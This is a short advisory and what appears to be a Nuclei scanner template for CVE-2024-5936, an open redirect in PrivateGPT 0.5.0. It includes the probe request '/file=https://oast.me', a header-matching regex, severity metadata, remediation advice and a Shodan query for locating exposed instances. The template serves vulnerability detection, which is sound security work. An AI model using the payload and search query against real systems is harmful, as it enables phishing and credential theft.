An open redirect vulnerability exists in imartinez/privategpt version 0.5.0 due to improper handling of the 'file' parameter. This vulnerability allows attackers to redirect users to a URL specified by user-controlled input without proper validation or sanitization.
PoC
id: CVE-2024-5936
info:
name: PrivateGPT < 0.5.0 - Open Redirect
author: ctflearner
severity: medium
description: |
An open redirect vulnerability exists in imartinez/privategpt version 0.5.0 due to improper handling of the 'file' parameter. This vulnerability allows attackers to redirect users to a URL specified by user-controlled input without proper validation or sanitization.
impact: |
Attackers can craft malicious URLs with the file parameter to redirect users to attacker-controlled sites, potentially leading to phishing attacks or credential theft.
remediation: |
Update PrivateGPT to version 0.5.1 or later to address the open redirect vulnerability.
reference:
- https://huntr.com/bounties/43f05c1e-d7b8-45e2-b1fe-48faf1e3a48d
- https://drive.google.com/file/d/1Fw5eT-9bAqsqzNUqdTXebtqIo5NI6T48/view
- https://nvd.nist.gov/vuln/detail/CVE-2024-5936
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
cvss-score: 4.3
cve-id: CVE-2024-5936
cwe-id: CWE-601
epss-score: 0.30074
epss-percentile: 0.98119
metadata:
verified: true
max-request: 1
shodan-query: html:"private gpt"
product: private-gpt
tags: cve2024,cve,private-gpt,redirect,vuln,ai
http:
- method: GET
path:
- "{{BaseURL}}/file=https://oast.me"
matchers:
- type: regex
part: header
regex:
- '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)oast\.me.*$'
# digest: 490a0046304402202328c8c48fa53d92f803807eeae0a1bd22fc9446480b568e33f63c63d00796ef02202d20bcd441eb31c1e9817597a1e4b5dc24b3cfe21687dc2985d62b134f66b8dc:922c64590222798bb761d5b6d8e72950
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